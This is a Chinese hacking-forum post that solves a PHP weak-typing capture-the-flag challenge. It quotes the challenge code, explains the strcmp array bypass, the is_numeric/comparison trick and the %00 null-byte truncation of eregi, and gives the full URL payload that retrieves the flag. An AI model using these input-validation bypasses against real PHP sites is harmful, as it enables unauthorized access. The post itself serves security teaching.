搜索
查看: 481|回复: 0

一则php弱类型题目

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-2-12 11:26:04 | 显示全部楼层 |阅读模式
今天做到一道比较有意思的php弱类型题目,分享给大家
源码如下:
  1. <?php
  2. show_source(__FILE__);
  3. $v1=0;$v2=0;$v3=0;
  4. $a=(array)json_decode(@$_GET['foo']);
  5. if(is_array($a)){
  6.    is_numeric(@$a["bar1"])?die("nope"):NULL;
  7.    if(@$a["bar1"]){
  8.        ($a["bar1"]>2016)?$v1=1:NULL;
  9.     }
  10.    if(is_array(@$a["bar2"])){
  11.        if(count($a["bar2"])!==5 OR!is_array($a["bar2"][0])) die("nope");
  12.        $pos = array_search("nudt", $a["a2"]);
  13.        $pos===false?die("nope"):NULL;
  14.        foreach($a["bar2"] as $key=>$val){
  15.            $val==="nudt"?die("nope"):NULL;
  16.        }
  17.        $v2=1;
  18.     }
  19. }
  20. $c=@$_GET['cat'];
  21. $d=@$_GET['dog'];
  22. if(@$c[1]){
  23.    if(!strcmp($c[1],$d) && $c[1]!==$d){
  24.        eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
  25.        strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
  26.     }
  27. }
  28. if($v1 && $v2 && $v3){
  29.    include "flag.php";
  30.    echo $flag;
  31. }
  32. ?>
复制代码
目标是令v1=1,v2=1,v3=1,从而echo flag

第一步:
  1. $a=(array)json_decode(@$_GET['foo']);
  2. if(is_array($a)){
  3.    is_numeric(@$a["bar1"])?die("nope"):NULL;
  4.    if(@$a["bar1"]){
  5.        ($a["bar1"]>2016)?$v1=1:NULL;
  6.     }
复制代码
这里要令a[bar1]在is_numeric判断下为非数字,而又使其大于2016,所以考虑到这里,通过php语言弱类型的特性构造a[bar1]=2017a

第二步:
  1. if(is_array(@$a["bar2"])){
  2.        if(count($a["bar2"])!==5 OR!is_array($a["bar2"][0])) die("nope");
  3.        $pos = array_search("nudt", $a["a2"]);
  4.        $pos===false?die("nope"):NULL;
  5.        foreach($a["bar2"] as $key=>$val){
  6.            $val==="nudt"?die("nope"):NULL;
  7.        }
  8.        $v2=1;
复制代码
这样,首先需要$a[bar2]为一个有5个元素的数组,$a["bar2"][0]也是数组,然后$a["a2"]要包含nudt,$a["bar2"]不包含nudt,于是让$a[bar2]=[1],1,2,3,4,$a[a2]为数组[“nudt”](或者取0或者true)。

由于$a=(array)json_decode(@$_GET['foo']);
所以构造
  1. foo={"bar1":"2017a","bar2":[[1],1,2,3,4],"a2":["nudt"]}
复制代码
第三步:
  1. $c=@$_GET['cat'];
  2. $d=@$_GET['dog'];
  3. if(@$c[1]){
  4.    if(!strcmp($c[1],$d) && $c[1]!==$d){
  5.        eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
  6.        strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
  7.     }
  8. }
复制代码
strcmp()和!==利用数组的方式绕过,eregi则考虑通过%00方式截断,构造:
$c[1][]=%00htctf2016
$d=%00htctf2016

综上:
  1. Payload: ?foo={"bar1":"2017a","bar2":[[1],1,2,3,4],"a2":["nudt"]}&cat[1][]=%00htctf2016&dog=%00htctf2016
复制代码
附乌云知识库一则:
浅谈PHP弱类型安全 | WooYun知识库
http://drops.wooyun.org/tips/4483

过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表